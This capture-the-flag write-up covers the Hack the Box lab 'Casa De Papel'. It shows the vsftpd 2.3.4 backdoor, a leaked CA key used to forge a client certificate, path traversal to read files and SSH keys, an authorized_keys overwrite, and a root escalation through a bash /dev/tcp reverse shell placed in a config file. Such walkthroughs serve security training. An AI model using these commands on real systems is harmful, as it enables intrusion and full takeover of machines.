HTB – Casa De Papel

Today we are going to solve another CTF challenge “Casa De Papel”. a retired vulnerable lab presented by Hack the Box for helping pentesters to perform online penetration testing according to their experience. They have a collection of vulnerable labs as challenges; ranging from beginners to expert level.

Level: Easy

Task: To find user.txt and root.txt file

As always we start with a nmap scan.

root@kali:~/htb/casadepapel# nmap -sC -sV -oA casa_alltcp 10.10.10.131
Starting Nmap 7.80 ( https://nmap.org ) at 2019-09-23 09:17 EDT
Nmap scan report for lacasadepapel.htb (10.10.10.131)
Host is up (0.11s latency).
Not shown: 996 closed ports
PORT    STATE SERVICE  VERSION
21/tcp  open  ftp      vsftpd 2.3.4
22/tcp  open  ssh      OpenSSH 7.9 (protocol 2.0)
| ssh-hostkey: 
|   2048 03:e1:c2:c9:79:1c:a6:6b:51:34:8d:7a:c3:c7:c8:50 (RSA)
|   256 41:e4:95:a3:39:0b:25:f9:da:de:be:6a:dc:59:48:6d (ECDSA)
|_  256 30:0b:c6:66:2b:8f:5e:4f:26:28:75:0e:f5:b1:71:e4 (ED25519)
80/tcp  open  http     Node.js (Express middleware)
|_http-title: La Casa De Papel
443/tcp open  ssl/http Node.js Express framework
| http-auth: 
| HTTP/1.1 401 Unauthorized\x0D
|_  Server returned status 401 but no WWW-Authenticate header.
| ssl-cert: Subject: commonName=lacasadepapel.htb/organizationName=La Casa De Papel
| Not valid before: 2019-01-27T08:35:30
|_Not valid after:  2029-01-24T08:35:30
|_ssl-date: TLS randomness does not represent time
| tls-alpn: 
|_  http/1.1
| tls-nextprotoneg: 
|   http/1.1
|_  http/1.0
Service Info: OS: Unix
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 69.30 seconds

Website – TCP 80

The site is a picture (from the TV show this box is themed on) with a QR-code:

1554165822335

The qr decodes to:

otpauth://hotp/Token?secret=IJUWOYLIFRDE2RZPKVFWWQ3XPFWCMVST&algorithm=SHA1

This is definitely worth nothing moving forward, but I don’t end up finding an use for it.

Website – TCP 443

The HTTPS site is similar, but different, as it complains about a certificate error:

1554165925479

I’ll make note to look for a way to generate a client certificate.

FTP

Often when I see FTP in nmap results on CTFs, the scripts point out anonymous login. That wasn’t the case here. That typically means there’s not much to do until I find creds. However, it’s always worth checking the version for vulnerabilities, and in case I didn’t recognize this version as a relatively famously backdoored version, I could have found it with searchsploit:

root@kali# searchsploit vsftpd 2.3.4
-------------------------------------------------------------- ----------------------------------------
 Exploit Title                                                |  Path
                                                              | (/usr/share/exploitdb/)
-------------------------------------------------------------- ----------------------------------------
vsftpd 2.3.4 - Backdoor Command Execution (Metasploit)        | exploits/unix/remote/17491.rb
-------------------------------------------------------------- ----------------------------------------
Shellcodes: No Result

Psy Shell

Exploit

After some googling and reading a couple articles like this one, I can see it turns out the vulnerability is pretty simple. Connect to FTP with any username that contains 🙂, and any password. Then connect to port 6200 to get a shell.

I can make this FTP connection with nc:

root@kali# nc 10.10.10.131 21
220 (vsFTPd 2.3.4)
USER backdoored:)
331 Please specify the password.
PASS invalid

Now connect to the backdoor, and get a shell:

root@kali# rlwrap nc 10.10.10.131 6200
Psy Shell v0.9.9 (PHP 7.2.10 — cli) by Justin Hileman

 

Psy

This strange shell is psy, a “A runtime developer console, interactive debugger and REPL for PHP.” It takes php commands:

Psy Shell v0.9.9 (PHP 7.2.10 — cli) by Justin Hileman
getcwd()
=> "/"
get_current_user()
=> "root"

Unfortunately, system and other commands that run code on the OS seem to be blocked:

system('echo test');
PHP Fatal error:  Call to undefined function system() in Psy Shell code on line 1

For some reason, system is undefined. If I run phpinfo(), I can see why:

phpinfo()
PHP Version => 7.2.10                                        

System => Linux lacasadepapel 4.14.78-0-virt #1-Alpine SMP Tue Oct 23 11:43:38 UTC 2018 x86_64 
Build Date => Sep 17 2018 09:23:43
...[snip]...
disable_functions => exec,passthru,shell_exec,system,proc_open,popen,curl_exec,curl_multi_exec,parse_ini_file,show_source => exec,passthru,shell_exec,system,proc_open,popen,curl_exec,curl_multi_exec,parse_ini_file,show_source
...[snip]...

The functions that would give me execution are blocked.

I can enumerate the box using scandir to list files, and file_get_contents to read files.

scandir("/home")
=> [
     ".",
     "..",
     "berlin",
     "dali",
     "nairobi",
     "oslo",
     "professor",
   ]
file_get_contents("/etc/os-release")
NAME="Alpine Linux"
ID=alpine
VERSION_ID=3.8.1
PRETTY_NAME="Alpine Linux v3.8"
HOME_URL="http://alpinelinux.org"
BUG_REPORT_URL="http://bugs.alpinelinux.org"

The help command does give a bunch of options related to debugging code:

help
  help       Show a list of commands. Type `help [foo]` for information about [foo].      Aliases: ?                     
  ls         List local, instance or class variables, methods and constants.              Aliases: list, dir             
  dump       Dump an object or primitive.
  doc        Read the documentation for an object, class, constant, method or property.   Aliases: rtfm, man             
  show       Show the code for an object, class, constant, method or property.
  wtf        Show the backtrace of the most recent exception.                             Aliases: last-exception, wtf?  
  whereami   Show where you are in the code.
  throw-up   Throw an exception or error out of the Psy Shell.
  timeit     Profiles with a timer.
  trace      Show the current call stack.
  buffer     Show (or clear) the contents of the code input buffer.                       Aliases: buf                   
  clear      Clear the Psy Shell screen.
  edit       Open an external editor. Afterwards, get produced code in input buffer.
  sudo       Evaluate PHP code, bypassing visibility restrictions.
  history    Show the Psy Shell history.                                                  Aliases: hist                  
  exit       End the current session and return to caller.                                Aliases: quit, q

Shell as Professor

Find Key

In looking around the box, I checked out the home directories and found something interesting in /home/nairobi:

scandir("/home/nairobi/")
=> [
     ".",
     "..",
     "ca.key",
     "download.jade",
     "error.jade",
     "index.jade",
     "node_modules",
     "server.js",
     "static",
   ]     

echo file_get_contents("/home/nairobi/ca.key")
-----BEGIN PRIVATE KEY-----
MIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQDPczpU3s4Pmwdb
7MJsi//m8mm5rEkXcDmratVAk2pTWwWxudo/FFsWAC1zyFV4w2KLacIU7w8Yaz0/
2m+jLx7wNH2SwFBjJeo5lnz+ux3HB+NhWC/5rdRsk07h71J3dvwYv7hcjPNKLcRl
uXt2Ww6GXj4oHhwziE2ETkHgrxQp7jB8pL96SDIJFNEQ1Wqp3eLNnPPbfbLLMW8M
YQ4UlXOaGUdXKmqx9L2spRURI8dzNoRCV3eS6lWu3+YGrC4p732yW5DM5Go7XEyp
s2BvnlkPrq9AFKQ3Y/AF6JE8FE1d+daVrcaRpu6Sm73FH2j6Xu63Xc9d1D989+Us
PCe7nAxnAgMBAAECggEAagfyQ5jR58YMX97GjSaNeKRkh4NYpIM25renIed3C/3V
Dj75Hw6vc7JJiQlXLm9nOeynR33c0FVXrABg2R5niMy7djuXmuWxLxgM8UIAeU89
1+50LwC7N3efdPmWw/rr5VZwy9U7MKnt3TSNtzPZW7JlwKmLLoe3Xy2EnGvAOaFZ
/CAhn5+pxKVw5c2e1Syj9K23/BW6l3rQHBixq9Ir4/QCoDGEbZL17InuVyUQcrb+
q0rLBKoXObe5esfBjQGHOdHnKPlLYyZCREQ8hclLMWlzgDLvA/8pxHMxkOW8k3Mr
uaug9prjnu6nJ3v1ul42NqLgARMMmHejUPry/d4oYQKBgQDzB/gDfr1R5a2phBVd
I0wlpDHVpi+K1JMZkayRVHh+sCg2NAIQgapvdrdxfNOmhP9+k3ue3BhfUweIL9Og
7MrBhZIRJJMT4yx/2lIeiA1+oEwNdYlJKtlGOFE+T1npgCCGD4hpB+nXTu9Xw2bE
G3uK1h6Vm12IyrRMgl/OAAZwEQKBgQDahTByV3DpOwBWC3Vfk6wqZKxLrMBxtDmn
sqBjrd8pbpXRqj6zqIydjwSJaTLeY6Fq9XysI8U9C6U6sAkd+0PG6uhxdW4++mDH
CTbdwePMFbQb7aKiDFGTZ+xuL0qvHuFx3o0pH8jT91C75E30FRjGquxv+75hMi6Y
sm7+mvMs9wKBgQCLJ3Pt5GLYgs818cgdxTkzkFlsgLRWJLN5f3y01g4MVCciKhNI
ikYhfnM5CwVRInP8cMvmwRU/d5Ynd2MQkKTju+xP3oZMa9Yt+r7sdnBrobMKPdN2
zo8L8vEp4VuVJGT6/efYY8yUGMFYmiy8exP5AfMPLJ+Y1J/58uiSVldZUQKBgBM/
ukXIOBUDcoMh3UP/ESJm3dqIrCcX9iA0lvZQ4aCXsjDW61EOHtzeNUsZbjay1gxC
9amAOSaoePSTfyoZ8R17oeAktQJtMcs2n5OnObbHjqcLJtFZfnIarHQETHLiqH9M
WGjv+NPbLExwzwEaPqV5dvxiU6HiNsKSrT5WTed/AoGBAJ11zeAXtmZeuQ95eFbM
7b75PUQYxXRrVNluzvwdHmZEnQsKucXJ6uZG9skiqDlslhYmdaOOmQajW3yS4TsR
aRklful5+Z60JV/5t2Wt9gyHYZ6SYMzApUanVXaWCCNVoeq+yvzId0st2DRl83Vc
53udBEzjt3WPqYGkkDknVhjD
-----END PRIVATE KEY-----

Given that I was seeing errors with TLS on the port 443 site earlier, this is interesting. There’s an alternative way to find this key, and that’s using psy itself. If I run ls, it shows me a variable, $tokoyo, and it’s contents point to the key:

ls
Variables: $tokyo
show $tokyo
  > 2| class Tokyo {
    3|  private function sign($caCert,$userCsr) {
    4|          $caKey = file_get_contents('/home/nairobi/ca.key');
    5|          $userCert = openssl_csr_sign($userCsr, $caCert, $caKey, 365, ['digest_alg'=>'sha256']);
    6|          openssl_x509_export($userCert, $userCertOut);
    7|          return $userCertOut;
    8|  }
    9| }

Access Private Area

With access to the private key for the webserver, I can create a client certificate which will hopefully show me something new when I connect.

I can use openssl to look at the TLS configuration on this site. There’s a section on accepted certificates:

root@kali# openssl s_client -connect 10.10.10.131:443
CONNECTED(00000003)
depth=0 CN = lacasadepapel.htb, O = La Casa De Papel
verify error:num=18:self signed certificate
verify return:1
depth=0 CN = lacasadepapel.htb, O = La Casa De Papel
verify return:1
---
Certificate chain
 0 s:CN = lacasadepapel.htb, O = La Casa De Papel
   i:CN = lacasadepapel.htb, O = La Casa De Papel
---
Server certificate
-----BEGIN CERTIFICATE-----
MIIC6jCCAdICCQDISiE8M6B29jANBgkqhkiG9w0BAQsFADA3MRowGAYDVQQDDBFs
YWNhc2FkZXBhcGVsLmh0YjEZMBcGA1UECgwQTGEgQ2FzYSBEZSBQYXBlbDAeFw0x
OTAxMjcwODM1MzBaFw0yOTAxMjQwODM1MzBaMDcxGjAYBgNVBAMMEWxhY2FzYWRl
cGFwZWwuaHRiMRkwFwYDVQQKDBBMYSBDYXNhIERlIFBhcGVsMIIBIjANBgkqhkiG
9w0BAQEFAAOCAQ8AMIIBCgKCAQEAz3M6VN7OD5sHW+zCbIv/5vJpuaxJF3A5q2rV
QJNqU1sFsbnaPxRbFgAtc8hVeMNii2nCFO8PGGs9P9pvoy8e8DR9ksBQYyXqOZZ8
/rsdxwfjYVgv+a3UbJNO4e9Sd3b8GL+4XIzzSi3EZbl7dlsOhl4+KB4cM4hNhE5B
4K8UKe4wfKS/ekgyCRTRENVqqd3izZzz232yyzFvDGEOFJVzmhlHVypqsfS9rKUV
ESPHczaEQld3kupVrt/mBqwuKe99sluQzORqO1xMqbNgb55ZD66vQBSkN2PwBeiR
PBRNXfnWla3Gkabukpu9xR9o+l7ut13PXdQ/fPflLDwnu5wMZwIDAQABMA0GCSqG
SIb3DQEBCwUAA4IBAQCuo8yzORz4pby9tF1CK/4cZKDYcGT/wpa1v6lmD5CPuS+C
hXXBjK0gPRAPhpF95DO7ilyJbfIc2xIRh1cgX6L0ui/SyxaKHgmEE8ewQea/eKu6
vmgh3JkChYqvVwk7HRWaSaFzOiWMKUU8mB/7L95+mNU7DVVUYB9vaPSqxqfX6ywx
BoJEm7yf7QlJTH3FSzfew1pgMyPxx0cAb5ctjQTLbUj1rcE9PgcSki/j9WyJltkI
EqSngyuJEu3qYGoM0O5gtX13jszgJP+dA3vZ1wqFjKlWs2l89pb/hwRR2raqDwli
MgnURkjwvR1kalXCvx9cST6nCkxF2TxlmRpyNXy4
-----END CERTIFICATE-----
subject=CN = lacasadepapel.htb, O = La Casa De Papel

issuer=CN = lacasadepapel.htb, O = La Casa De Papel

---
Acceptable client certificate CA names
CN = lacasadepapel.htb, O = La Casa De Papel
Client Certificate Types: RSA sign, DSA sign, ECDSA sign
Requested Signature Algorithms: RSA+SHA512:DSA+SHA512:ECDSA+SHA512:RSA+SHA384:DSA+SHA384:ECDSA+SHA384:RSA+SHA256:DSA+SHA256:ECDSA+SHA256:RSA+SHA224:DSA+SHA224:ECDSA+SHA224:RSA+SHA1:DSA+SHA1:ECDSA+SHA1
Shared Requested Signature Algorithms: RSA+SHA512:DSA+SHA512:ECDSA+SHA512:RSA+SHA384:DSA+SHA384:ECDSA+SHA384:RSA+SHA256:DSA+SHA256:ECDSA+SHA256:RSA+SHA224:DSA+SHA224:ECDSA+SHA224
Peer signing digest: SHA512
Peer signature type: RSA
Server Temp Key: ECDH, P-256, 256 bits
---
SSL handshake has read 1553 bytes and written 442 bytes
Verification error: self signed certificate
---
New, TLSv1.2, Cipher is ECDHE-RSA-AES128-GCM-SHA256
Server public key is 2048 bit
Secure Renegotiation IS supported
Compression: NONE
Expansion: NONE
No ALPN negotiated
SSL-Session:
    Protocol  : TLSv1.2
    Cipher    : ECDHE-RSA-AES128-GCM-SHA256
    Session-ID: B1DBFEEEFA037FDC8BAE800DE2549CF10353955397452FA8A4765DEEBEA0E50F
    Session-ID-ctx:
    Master-Key: C1D1FA4F1BA4C2FABDE34E8D95424C5B57A023D4CC5888AAF0822B4FC8121D81D059D9F5DD4A5388237D277EC70779C6
    PSK identity: None
    PSK identity hint: None
    SRP username: None
    TLS session ticket lifetime hint: 300 (seconds)
    TLS session ticket:
    0000 - 4c 5a 06 97 cb 93 0b 9f-e7 5c 1c 9a 34 2f 89 59   LZ.......\..4/.Y
    0010 - 0a b9 46 16 b7 8c 1c de-2f 90 8d a0 7e 1b b4 ff   ..F...../...~...
    0020 - 6d 38 47 f2 76 99 df 08-bb 31 cd 63 ef 2d 6b a7   m8G.v....1.c.-k.
    0030 - 37 22 d5 12 a2 00 00 76-81 64 6e 4c 5c 78 5e 13   7".....v.dnL\x^.
    0040 - d2 09 c5 dc f1 51 60 54-18 4f ad 10 df 90 f6 f1   .....Q`T.O......
    0050 - 41 98 10 ba 41 cb c7 1e-f6 c7 39 33 af df 8b ff   A...A.....93....
    0060 - 03 03 63 ea a3 3d 50 57-9a ac fe d3 64 ed 6b cb   ..c..=PW....d.k.
    0070 - 7c e3 0e a5 b9 c3 e1 5f-69 69 48 00 1d 75 40 1d   |......_iiH..u@.
    0080 - 9d 46 4a f7 be 04 25 d8-9c ee fa d3 f7 d8 92 24   .FJ...%........$
    0090 - 63 2e 1c 6d 5a 3e 34 9a-9b be 4b e5 53 7f 52 7d   c..mZ>4...K.S.R}
    00a0 - cc b8 53 8e d8 8f ec ec-eb ae 56 bd 0c 13 49 89   ..S.......V...I.
    00b0 - 03 57 97 0f 89 32 f3 84-d6 e9 ab 36 c2 b0 fd 05   .W...2.....6....
    00c0 - 40 94 c9 c2 d4 59 20 4c-32 06 51 68 2e 51 55 35   @....Y L2.Qh.QU5

    Start Time: 1554214579
    Timeout   : 7200 (sec)
    Verify return code: 18 (self signed certificate)
    Extended master secret: no
---

I’ll use the key and this information to make a certificate for myself:

root@kali# openssl req -x509 -new -nodes -key ca.key -sha256 -days 1024 -out 0xdf.pem
You are about to be asked to enter information that will be incorporated
into your certificate request.
What you are about to enter is what is called a Distinguished Name or a DN.
There are quite a few fields but you can leave some blank
For some fields there will be a default value,
If you enter '.', the field will be left blank.
-----
Country Name (2 letter code) [AU]:
State or Province Name (full name) [Some-State]:
Locality Name (eg, city) []:
Organization Name (eg, company) [Internet Widgits Pty Ltd]:La Casa De Papel
Organizational Unit Name (eg, section) []:
Common Name (e.g. server FQDN or YOUR name) []:lacasadepapel.htb
Email Address []:
root@kali# openssl pkcs12 -export -in 0xdf.pem -inkey ca.key -out 0xdf.p12
Enter Export Password:
Verifying - Enter Export Password:

Now I’ll load it into firefox by going into preferences, searching for certificates, hitting “View Certificates”, and then hitting “Import…” and selecting my .p12. Now, with Burp off, I can reload the page, and it pops up asking me to confirm I want to send my certificate:

1554215724810

After I click ok, I see the site, now with a “Private Area”:

1554215018465

This part could be a bit finicky. If the page doesn’t prompt for the certificate on reload, try Firefox File -> New Private Window

Path Traversal

Once I click a season, I get sent to https://lacasadepapel.htb/?path=SEASON-2:

1554215054468

If I click on one of the avis, it takes me to https://lacasadepapel.htb/file/U0VBU09OLTIvMDEuYXZp. That base64 on the end of the path is just the file name:

root@kali# echo U0VBU09OLTIvMDEuYXZp | base64 -d
SEASON-2/01.avi

I can also browser around. Visit the parent directory shows what looks like a home dir https://lacasadepapel.htb/?path=..:

1554215178613

I can get user.txt, just remembering to base64 encode the path, which I can do in a one-liner here:

root@kali# curl -k https://10.10.10.131/file/$(echo -n "../user.txt" | base64)
4dcbd172...

In bash$() means run what’s in here, and put the output in its place. So in this case, I’m base64 encoding the path, and then using the result to build the url to curl.

Find Private Key

In the homedir for berlin, there’s a .ssh directory:

1563524844410

I’ll pull these files back. I’ll notice that the public key doesn’t match what’s in the authorized_keys file:

root@kali# curl -k https://10.10.10.131/file/$(echo -n "../.ssh/authorized_keys" | base64)
ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAsDHKXtzjeyuWjw42RbtoDy2c6lWdtfEzsmqmHrbJDY2hDcKWekWouWhe/NTCQFim6weKtsEdTzh0Qui+6jKc8/ZtpKzHrXiSXSe48JwpG7abmp5iCihzDozJqggBNoAQrvZqBhg6svcKh8F0kTnxUkBQgBm4kjOPteN+TfFoNIod7DQ72/N25D/lVThCLcStbPkR8fgBz7TGuTTAsNFXVwjlsgwi2qUF9UM6C1JkMBk5Y9ssDHiu4R35R5eCl4EEZLL946n/Gd5QB7pmIRHMkmt2ztOaKU4xZthurZpDXt+Et+Rm3dAlAZLO/5dwjqIfmEBS1eQ4sT8hlUkuLvjUDw== thek@ThekMac.local
root@kali# curl -k https://10.10.10.131/file/$(echo -n "../.ssh/id_rsa.pub" | base64)
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCi0fpiC6mLsmGN1sNeGDZ/3GbPFoM13HESKgCAfYaNR5Rzhwl5N9T/JaDW/LHV1epqd/ADNg5AtSA73+sNsj3LnWtNCcuEeyn+IWIZ28M7mJnAs2vCbNUvGAZz6Y1pzerEdy4fHur7NAcHw19T+rPIAvb/GxGTME4NGDbW2xWqdNXzdPwIVIFQ7aPOK0cU2O9htpw/4mf1DljYdF0TTcNacAknvOThJZaJwzeuK65jJ6pXo5gpugfCL4UH3hjHXFo8UY/tPSOcFTeaiVRGEoqiU2pjvw8TmpimU7947kf/u8pusXsnlW2xWm8ZCyaOpSFAr8ahisy50iFx9BIxSemBZdi0KcikFrndpj9+XRdikv1rVlCHWIabiiV5Wdk2+oxriZv7yQLyTdYObD2mr9bd4ZVDpd7KP/iRQQ17VDzGP0EhctknBdge0AItLg9oplJFoVKORz/br9Pb3nx/agGokt/6jGLJ2BxMja8Lfg5jDBLtw5xKxLgeK9QLorugkkfDedQ2gDaB7dzCI7ps0esQowlY6symn1Qf0FtD+7uTkCntAXzIF+t0LrgQBTPJkldZ17U2FI2OIjSsGrMI9lAZI4sQgUDDNTRswi4m7gkhA4Af7e1+iHxxxR01yZ8fstpPukXdVjDKg8yjAukDx8bgVcbK+jKt95NcLoZjT7U1VQ== berlin@lacasadepapel.htb

I tried to access the authorized_keys files for all the other users, but wasn’t able to.

SSH

Still, I have this private key, so I’ll try to see if it logs in as any of the user I know of on the box. when I get to professor, it works:

Priv: professor –> root

Enumeration

In professor’s homedir, there are two files about memcache

root@kali:~/htb/casadepapel# ssh -i id_rsa professor@10.10.10.131

_ ____ ____ ____ _ 

| |    __ _   / ___|__ _ ___  __ _  |  _ \  ___  |  _ \ __ _ _ __   ___| |
| |   / _` | | |   / _` / __|/ _` | | | | |/ _ \ | |_) / _` | '_ \ / _ \ |
| |__| (_| | | |__| (_| \__ \ (_| | | |_| |  __/ |  __/ (_| | |_) |  __/ |
|_____\__,_|  \____\__,_|___/\__,_| |____/ \___| |_|   \__,_| .__/ \___|_|
                                                            |_|       

lacasadepapel [~]$ id
uid=1002(professor) gid=1002(professor) groups=1002(professor)
lacasadepapel [~]$ ps -ef | grep node
 3267 dali      0:00 /usr/bin/node /home/dali/server.js
 3268 nobody    0:03 /usr/bin/node /home/oslo/server.js
 3269 berlin    0:01 /usr/bin/node /home/berlin/server.js
 3270 nobody    0:07 /usr/bin/node /home/nairobi/server.js
21282 nobody    0:04 /usr/bin/node /home/professor/memcached.js
21291 professo  0:00 grep node
lacasadepapel [~]$ ls -l memcached.ini 
-rw-r--r--    1 root     root            88 Jan 29  2019 memcached.ini
lacasadepapel [~]$ ls
memcached.ini  memcached.js   node_modules
lacasadepapel [~]$ ls -la
total 24
drwxr-sr-x    4 professo professo      4096 Mar  6  2019 .
drwxr-xr-x    7 root     root          4096 Feb 16  2019 ..
lrwxrwxrwx    1 root     professo         9 Nov  6  2018 .ash_history -> /dev/null
drwx------    2 professo professo      4096 Jan 31  2019 .ssh
-rw-r--r--    1 root     root            88 Jan 29  2019 memcached.ini
-rw-r-----    1 root     nobody         434 Jan 29  2019 memcached.js
drwxr-sr-x    9 root     professo      4096 Jan 29  2019 node_modules
lacasadepapel [~]$ echo test >> memcached.ini 
-ash: can't create memcached.ini: Permission denied
lacasadepapel [~]$ cp memcached.ini /dev/shm/
lacasadepapel [~]$ rm memcached.ini
rm: remove 'memcached.ini'? y
lacasadepapel [~]$ echo -e "[program:memcached]\ncommand = bash -c 'bash -i  >& /dev/tcp/10.10.16.70/
443 0>&1'" > memcached.ini
lacasadepapel [~]$ cat memcached.ini 
[program:memcached]
command = bash -c 'bash -i  >& /dev/tcp/10.10.16.70/443 0>&1'
lacasadepapel [~]$ ls -l memcached.ini 
-rw-r--r--    1 professo professo        82 Sep 23 13:07 memcached.ini

Now just wait a minute, and get a shell:

root@kali:~/htb# rlwrap nc -lvp 443
listening on [any] 443 ...
connect to [10.10.16.70] from lacasadepapel.htb [10.10.10.131] 48656
bash: cannot set terminal process group (21645): Not a tty
bash: no job control in this shell
bash-4.4# id
id
uid=0(root) gid=0(root) groups=0(root),0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)
bash-4.4# pwd
pwd
/
bash-4.4# cd /root
cd /root
bash-4.4# ls
ls
root.txt
bash-4.4# cat root.txt
cat root.txt
586*****511
bash-4.4# 

Unintented Initial Access

From the psy shell, there’s an alternative path to initial access.

Enumeration

I need to find two things while enumerating.

First, if I look at /proc/net/tcp, I can get the information like a netstat:

echo file_get_contents("/proc/net/tcp")
  sl  local_address rem_address   st tx_queue rx_queue tr tm->when retrnsmt   uid  timeout inode                                                     
   0: 00000000:01BB 00000000:0000 0A 00000000:00000000 00:00000000 00000000 65534        0 6507 1 ffff8d247baad000 100 0 0 10 0                      
   1: 0100007F:1F40 00000000:0000 0A 00000000:00000000 00:00000000 00000000  1001        0 4587 1 ffff8d247a2f6000 100 0 0 10 0                      
   2: 0100007F:2BCB 00000000:0000 0A 00000000:00000000 00:00000000 00000000   102        0 6430 1 ffff8d247baac000 100 0 0 10 0                      
   3: 00000000:0050 00000000:0000 0A 00000000:00000000 00:00000000 00000000 65534        0 1938 1 ffff8d247a349800 100 0 0 10 0                      
   4: 00000000:0015 00000000:0000 0A 00000000:00000000 00:00000000 00000000     0        0 6481 1 ffff8d247baae800 100 0 0 10 0                      
   5: 00000000:0016 00000000:0000 0A 00000000:00000000 00:00000000 00000000     0        0 4561 1 ffff8d247a2f3000 100 0 0 10 0                      
   6: 00000000:1838 00000000:0000 0A 00000000:00000000 00:00000000 00000000  1000        0 4584 1 ffff8d247a2f5800 100 0 0 10 0                      
   7: 830A0A0A:1838 020E0A0A:C2BC 01 00000000:00000000 00:00000000 00000000  1000        0 11803 1 ffff8d247baae000 28 4 31 10 -1                    
   8: 830A0A0A:0016 020E0A0A:E31E 01 00000024:00000000 01:0000001D 00000000     0        0 12044 4 ffff8d247baaf000 29 4 27 10 -1                    
   9: 830A0A0A:0016 020E0A0A:E30A 01 00000000:00000000 02:0006F4CB 00000000     0        0 4638 2 ffff8d247baa9000 24 4 0 10 -1                      
  10: 830A0A0A:D08C 020E0A0A:01BB 01 00000000:00000000 00:00000000 00000000     0        0 8475 1 ffff8d247a2f2800 24 4 29 10 -1                     
  11: 830A0A0A:0016 020E0A0A:E30C 01 00000000:00000000 02:00072B93 00000000     0        0 4746 2 ffff8d247baa9800 25 4 25 10 -1

The first 7 are in state 0A, which is listening. Those translate to:

0.0.0.0:443
127.0.0.1:8000
127.0.0.1:11211
0.0.0.0:80
0.0.0.0:21
0.0.0.0:22
0.0.0.0:6200

The two local host ones are interesting and new.

Second, I can read into the .ssh directory of dali, and no other user:

scandir("/home/berlin/.ssh")
PHP Warning:  scandir(/home/berlin/.ssh): failed to open dir: Permission denied in phar://eval()'d code on line 1
scandir("/home/dali/.ssh")
=> [
     ".",
     "..",
     "authorized_keys",
     "known_hosts",
   ]
scandir("/home/nairobi/.ssh")
PHP Warning:  scandir(/home/nairobi/.ssh): failed to open dir: No such file or directory in phar://eval()'d code on line 1
scandir("/home/oslo/.ssh")
PHP Warning:  scandir(/home/oslo/.ssh): failed to open dir: No such file or directory in phar://eval()'d code on line 1
scandir("/home/professor/.ssh")
PHP Warning:  scandir(/home/professor/.ssh): failed to open dir: Permission denied in phar://eval()'d code on line 1

There is a public key in authorized_keys, but I don’t see the matching private key:

echo file_get_contents("/home/dali/.ssh/authorized_keys")
ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAsDHKXtzjeyuWjw42RbtoDy2c6lWdtfEzsmqmHrbJDY2hDcKWekWouWhe/NTCQFim6weKtsEdTzh0Qui+6jKc8/ZtpKzHrXiSXSe48JwpG7abmp5iCihzDozJqggBNoAQrvZqBhg6svcKh8F0kTnxUkBQgBm4kjOPteN+TfFoNIod7DQ72/N25D/lVThCLcStbPkR8fgBz7TGuTTAsNFXVwjlsgwi2qUF9UM6C1JkMBk5Y9ssDHiu4R35R5eCl4EEZLL946n/Gd5QB7pmIRHMkmt2ztOaKU4xZthurZpDXt+Et+Rm3dAlAZLO/5dwjqIfmEBS1eQ4sT8hlUkuLvjUDw== thek@ThekMac.local

I suspect this is a key the box creator used for access.

Overwrite authorized_keys

I can write to this file using this shell:

fwrite(fopen("/home/dali/.ssh/authorized_keys","w+"),"puckie");
=> 6
echo file_get_contents("/home/dali/.ssh/authorized_keys")
puckie

So I’ll put a public key for a pair I control in place:

fwrite(fopen("/home/dali/.ssh/authorized_keys","w+"),"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDjXnSnXXfla4lGpKso7HVx+AWtmG5AGtdlr0T6TxpBPMm1AIxV2lfjbw8KMDpbnyE2tMUAiDY7TbP0C1FAzQwakT3vHR5aSU11Lot5ZbNBBwEnqUo3Bm5+O/xPtwDW5EVkD0byng/DqMFyXpnq1tT+vt9oqev8dZcsxzvrh+mX3mHGR8WrtZsQS7XSwAGZKGexeVkAFRwZtk3MHFyFqVUy7OGVoca6Pv5q/MWYJyHW27ylh8som7dnFnVaWggSImHhRqxlicH9x63CUz3WgmFSy+sZNeHfZaMSZTGJ85Qsfd42BdlTpQ/8r0VJhYIORMjYB2v1xaaHqXm6/LODtkWF root@kali");
=> 390

And get a shell:

root@kali:~/.ssh# ssh -i id_rsa.pub dali@10.10.10.131

_ ____ ____ ____ _ 
| | __ _ / ___|__ _ ___ __ _ | _ \ ___ | _ \ __ _ _ __ ___| |
| | / _` | | | / _` / __|/ _` | | | | |/ _ \ | |_) / _` | '_ \ / _ \ |
| |__| (_| | | |__| (_| \__ \ (_| | | |_| | __/ | __/ (_| | |_) | __/ |
|_____\__,_| \____\__,_|___/\__,_| |____/ \___| |_| \__,_| .__/ \___|_|
|_|

Psy Shell v0.9.9 (PHP 7.2.10 — cli) by Justin Hileman

Unfortunately, it’s still in psy.

Access LFI

But, with ssh, I can also forward ports. I’ll connect with a forwarder to redirect traffic on my local host port 8000 to port 8000 on LaCasaDePapel:

root@kali:~/.ssh# ssh -i id_rsa.pub dali@10.10.10.131 -L 8000:localhost:8000 -N

Now I can get to the section of the page with the LFI without making a certificate:

1563528617474

1563528673885

dali’s Shell

With a bash shell later, I can verify in the /etc/passwd file that running a shell as dali will give me psysh:

bash-4.4# grep dali /etc/passwd
dali:x:1000:1000:dali,,,:/home/dali:/usr/bin/psysh

Credits to : https://0xdf.gitlab.io/2019/07/27/htb-lacasadepapel.html

Author: Jacco Straathof

 

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